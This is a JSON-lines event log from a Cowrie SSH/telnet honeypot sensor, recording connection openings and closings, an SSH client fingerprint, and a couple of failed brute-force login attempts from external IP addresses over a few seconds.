{"eventid":"cowrie.session.closed","duration":31.248977661132812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:03.808340Z","src_ip":"198.50.122.223","session":"f9a14cc31b1d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"matrix","message":"login attempt [admin/matrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:04.252730Z","src_ip":"69.6.221.248","session":"13fd784df13d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00209593772888,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:04.740779Z","src_ip":"154.110.11.213","session":"76d61e0bbaae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.695480346679688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:05.231137Z","src_ip":"198.50.122.223","session":"d2b21e7e2488","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:05.370292Z","src_ip":"69.6.221.248","session":"13fd784df13d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.929125547409058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:05.542658Z","src_ip":"198.50.122.223","session":"fd3b1a731c9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54388,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9aa28550ce4","protocol":"telnet","message":"New connection: 198.50.122.223:54388 (10.17.0.5:23) [session: a9aa28550ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:06.340555Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54758,"dst_ip":"10.17.0.5","dst_port":23,"session":"631c6c085960","protocol":"telnet","message":"New connection: 198.50.122.223:54758 (10.17.0.5:23) [session: 631c6c085960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:06.433205Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54864,"dst_ip":"10.17.0.5","dst_port":23,"session":"6620b2310b72","protocol":"telnet","message":"New connection: 198.50.122.223:54864 (10.17.0.5:23) [session: 6620b2310b72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:06.453490Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57636,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a73a10abadb","protocol":"telnet","message":"New connection: 198.50.122.223:57636 (10.17.0.5:23) [session: 2a73a10abadb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:06.901497Z"}
{"eventid":"cowrie.session.closed","duration":30.9916570186615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:07.423037Z","src_ip":"198.50.122.223","session":"12af85e0c1e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.285212755203247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:07.569890Z","src_ip":"198.50.122.223","session":"0f8806b8dab2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":48394,"dst_ip":"159.203.135.109","dst_port":22,"session":"a35d16e7bb74","protocol":"ssh","message":"New connection: 103.228.69.212:48394 (159.203.135.109:22) [session: a35d16e7bb74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:07.581108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:07.586339Z","src_ip":"103.228.69.212","session":"a35d16e7bb74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60228,"dst_ip":"10.17.0.5","dst_port":23,"session":"e24b73184f2b","protocol":"telnet","message":"New connection: 198.50.122.223:60228 (10.17.0.5:23) [session: e24b73184f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:07.621400Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:07.845338Z","src_ip":"103.228.69.212","session":"a35d16e7bb74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.37869167327881,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:08.076065Z","src_ip":"198.50.122.223","session":"596c7bad918c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04241371154785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:08.124780Z","src_ip":"198.50.122.223","session":"effeb0e5b244","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.379115104675293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:08.155922Z","src_ip":"198.50.122.223","session":"ffd7e0e6e2b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.727556467056274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:08.396119Z","src_ip":"198.50.122.223","session":"791e7f9067a7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpuser2","password":"123456","message":"login attempt [ftpuser2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:08.788253Z","src_ip":"103.228.69.212","session":"a35d16e7bb74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39362,"dst_ip":"10.17.0.5","dst_port":23,"session":"92571a9ecdf1","protocol":"telnet","message":"New connection: 198.50.122.223:39362 (10.17.0.5:23) [session: 92571a9ecdf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:09.092706Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39532,"dst_ip":"10.17.0.5","dst_port":23,"session":"610f19a3aa94","protocol":"telnet","message":"New connection: 198.50.122.223:39532 (10.17.0.5:23) [session: 610f19a3aa94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:09.159021Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40614,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eccd4bfac6b","protocol":"telnet","message":"New connection: 198.50.122.223:40614 (10.17.0.5:23) [session: 7eccd4bfac6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:09.442374Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:10.016503Z","src_ip":"103.228.69.212","session":"a35d16e7bb74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.17872428894043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:11.232406Z","src_ip":"198.50.122.223","session":"becede73bae0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.623522996902466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:11.317455Z","src_ip":"198.50.122.223","session":"115a5e3b2509","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00134325027466,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:11.864581Z","src_ip":"154.110.11.213","session":"a3e0c9b41952","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00155186653137,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:12.140810Z","src_ip":"154.110.11.213","session":"56341b583b5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57664,"dst_ip":"10.17.0.5","dst_port":23,"session":"02c15d074cba","protocol":"telnet","message":"New connection: 198.50.122.223:57664 (10.17.0.5:23) [session: 02c15d074cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:13.201983Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59016,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae718eafeb32","protocol":"telnet","message":"New connection: 198.50.122.223:59016 (10.17.0.5:23) [session: ae718eafeb32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:13.444004Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59792,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd8907b1a904","protocol":"telnet","message":"New connection: 198.50.122.223:59792 (10.17.0.5:23) [session: fd8907b1a904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:13.548944Z"}
{"eventid":"cowrie.session.closed","duration":30.942793607711792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:14.151610Z","src_ip":"198.50.122.223","session":"7c048e5227c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54307246208191,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:14.184819Z","src_ip":"198.50.122.223","session":"0a36ebf1049b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35264,"dst_ip":"10.17.0.5","dst_port":23,"session":"288ccf536339","protocol":"telnet","message":"New connection: 198.50.122.223:35264 (10.17.0.5:23) [session: 288ccf536339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:14.308589Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59086,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbfc715632be","protocol":"telnet","message":"New connection: 198.50.122.223:59086 (10.17.0.5:23) [session: fbfc715632be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:14.476622Z"}
{"eventid":"cowrie.session.closed","duration":30.957724809646606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:14.522243Z","src_ip":"198.50.122.223","session":"910acb58a823","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60504698753357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:15.257081Z","src_ip":"198.50.122.223","session":"ddebf038d44e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.944080114364624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:16.388983Z","src_ip":"198.50.122.223","session":"40edb1556c79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46244,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce512cdfe42b","protocol":"telnet","message":"New connection: 198.50.122.223:46244 (10.17.0.5:23) [session: ce512cdfe42b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:16.551142Z"}
{"eventid":"cowrie.session.closed","duration":30.570767164230347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:17.219681Z","src_ip":"198.50.122.223","session":"e139c899dc81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49760,"dst_ip":"10.17.0.5","dst_port":23,"session":"55a078feadf3","protocol":"telnet","message":"New connection: 198.50.122.223:49760 (10.17.0.5:23) [session: 55a078feadf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:17.326000Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51190,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a9742b4e80d","protocol":"telnet","message":"New connection: 198.50.122.223:51190 (10.17.0.5:23) [session: 3a9742b4e80d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:17.637234Z"}
{"eventid":"cowrie.session.closed","duration":30.810303926467896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:17.666731Z","src_ip":"198.50.122.223","session":"abad3a4dd277","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.132278203964233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:18.070441Z","src_ip":"198.50.122.223","session":"3ff732621f58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.319238901138306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:18.297019Z","src_ip":"198.50.122.223","session":"39c94258b13f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55608,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a30333cebb8","protocol":"telnet","message":"New connection: 198.50.122.223:55608 (10.17.0.5:23) [session: 5a30333cebb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:18.498227Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56930,"dst_ip":"10.17.0.5","dst_port":23,"session":"c32ddad05cdd","protocol":"telnet","message":"New connection: 198.50.122.223:56930 (10.17.0.5:23) [session: c32ddad05cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:18.703078Z"}
{"eventid":"cowrie.session.closed","duration":30.66512632369995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:19.494071Z","src_ip":"198.50.122.223","session":"571156434ca7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60646,"dst_ip":"10.17.0.5","dst_port":23,"session":"543785dc21cb","protocol":"telnet","message":"New connection: 198.50.122.223:60646 (10.17.0.5:23) [session: 543785dc21cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:19.553082Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34468,"dst_ip":"10.17.0.5","dst_port":23,"session":"f84ce977d9a6","protocol":"telnet","message":"New connection: 198.50.122.223:34468 (10.17.0.5:23) [session: f84ce977d9a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:19.838165Z"}
{"eventid":"cowrie.session.closed","duration":30.849889993667603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:21.384230Z","src_ip":"198.50.122.223","session":"aa1964bf8560","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41370,"dst_ip":"10.17.0.5","dst_port":23,"session":"1677f909ff46","protocol":"telnet","message":"New connection: 198.50.122.223:41370 (10.17.0.5:23) [session: 1677f909ff46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:21.413447Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41684,"dst_ip":"10.17.0.5","dst_port":23,"session":"37b8b4c6d3d7","protocol":"telnet","message":"New connection: 198.50.122.223:41684 (10.17.0.5:23) [session: 37b8b4c6d3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:21.462445Z"}
{"eventid":"cowrie.session.closed","duration":30.434102535247803,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:22.205263Z","src_ip":"198.50.122.223","session":"c3fe7033a142","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.518571615219116,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:22.333527Z","src_ip":"198.50.122.223","session":"efd3f30710f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.650968074798584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:22.414553Z","src_ip":"198.50.122.223","session":"0725491d08d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.866007804870605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:22.543509Z","src_ip":"198.50.122.223","session":"6a48d2cbb4df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47596,"dst_ip":"10.17.0.5","dst_port":23,"session":"58a26bd56f31","protocol":"telnet","message":"New connection: 198.50.122.223:47596 (10.17.0.5:23) [session: 58a26bd56f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:22.565354Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48550,"dst_ip":"10.17.0.5","dst_port":23,"session":"8819d3a7059d","protocol":"telnet","message":"New connection: 198.50.122.223:48550 (10.17.0.5:23) [session: 8819d3a7059d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:22.719174Z"}
{"eventid":"cowrie.session.closed","duration":30.972535133361816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:23.259988Z","src_ip":"198.50.122.223","session":"bc831be06840","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51064,"dst_ip":"10.17.0.5","dst_port":23,"session":"51562a093388","protocol":"telnet","message":"New connection: 198.50.122.223:51064 (10.17.0.5:23) [session: 51562a093388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:23.319815Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51662,"dst_ip":"10.17.0.5","dst_port":23,"session":"d111852603ea","protocol":"telnet","message":"New connection: 198.50.122.223:51662 (10.17.0.5:23) [session: d111852603ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:23.451954Z"}
{"eventid":"cowrie.session.closed","duration":30.52992010116577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:24.457851Z","src_ip":"198.50.122.223","session":"ccfc34837fcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":58130,"dst_ip":"10.17.0.5","dst_port":23,"session":"580732742c20","protocol":"telnet","message":"New connection: 198.50.122.223:58130 (10.17.0.5:23) [session: 580732742c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:24.613864Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59793,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f026c85c54b","protocol":"telnet","message":"New connection: 198.50.122.223:59793 (10.17.0.5:23) [session: 2f026c85c54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:24.918453Z"}
{"eventid":"cowrie.session.closed","duration":30.823509693145752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:25.274853Z","src_ip":"198.50.122.223","session":"93d332ab6029","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34458,"dst_ip":"10.17.0.5","dst_port":23,"session":"068face7a793","protocol":"telnet","message":"New connection: 198.50.122.223:34458 (10.17.0.5:23) [session: 068face7a793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:25.571956Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36050,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d21fa317a18","protocol":"telnet","message":"New connection: 198.50.122.223:36050 (10.17.0.5:23) [session: 2d21fa317a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:25.828587Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37922,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad8840d9c47d","protocol":"telnet","message":"New connection: 198.50.122.223:37922 (10.17.0.5:23) [session: ad8840d9c47d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:26.315482Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38336,"dst_ip":"10.17.0.5","dst_port":23,"session":"04d6c060d2c5","protocol":"telnet","message":"New connection: 198.50.122.223:38336 (10.17.0.5:23) [session: 04d6c060d2c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:26.402821Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38836,"dst_ip":"10.17.0.5","dst_port":23,"session":"daf5f9bc1e78","protocol":"telnet","message":"New connection: 198.50.122.223:38836 (10.17.0.5:23) [session: daf5f9bc1e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:26.502892Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40732,"dst_ip":"10.17.0.5","dst_port":23,"session":"36bd9f86dd7b","protocol":"telnet","message":"New connection: 198.50.122.223:40732 (10.17.0.5:23) [session: 36bd9f86dd7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:26.773136Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41014,"dst_ip":"10.17.0.5","dst_port":23,"session":"67d5a4a8cef7","protocol":"telnet","message":"New connection: 198.50.122.223:41014 (10.17.0.5:23) [session: 67d5a4a8cef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:26.824907Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42136,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd67a3405083","protocol":"telnet","message":"New connection: 198.50.122.223:42136 (10.17.0.5:23) [session: dd67a3405083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:27.040415Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42378,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fd83ab02cf4","protocol":"telnet","message":"New connection: 198.50.122.223:42378 (10.17.0.5:23) [session: 1fd83ab02cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:27.160758Z"}
